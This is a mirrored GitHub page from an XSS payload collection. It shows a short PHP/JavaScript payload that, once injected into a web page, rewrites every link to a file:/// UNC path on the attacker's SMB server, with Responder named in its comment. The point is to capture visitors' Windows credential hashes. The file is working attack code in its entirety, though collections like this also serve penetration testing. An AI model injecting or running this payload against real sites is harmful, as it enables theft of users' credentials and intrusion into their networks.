mirror of
https://github.com/nettitude/xss_payloads.git
synced 2024-11-24 13:13:08 +00:00
12 lines
378 B
PHP
Executable file
12 lines
378 B
PHP
Executable file
<?php
|
|
/**
|
|
* Inject this in order to have all "a" links on the page reassigned to point to the SMB endpoint (e.g. Responder) on the host this script is running on
|
|
*/
|
|
$url = "file:///\\\\".$_SERVER["SERVER_ADDR"]."/page";
|
|
echo "// $url\n";
|
|
?>
|
|
col = document.getElementsByTagName('a');
|
|
for( var i in col ){
|
|
el = col[i];
|
|
el.href = '<?php echo $url; ?>';
|
|
}
|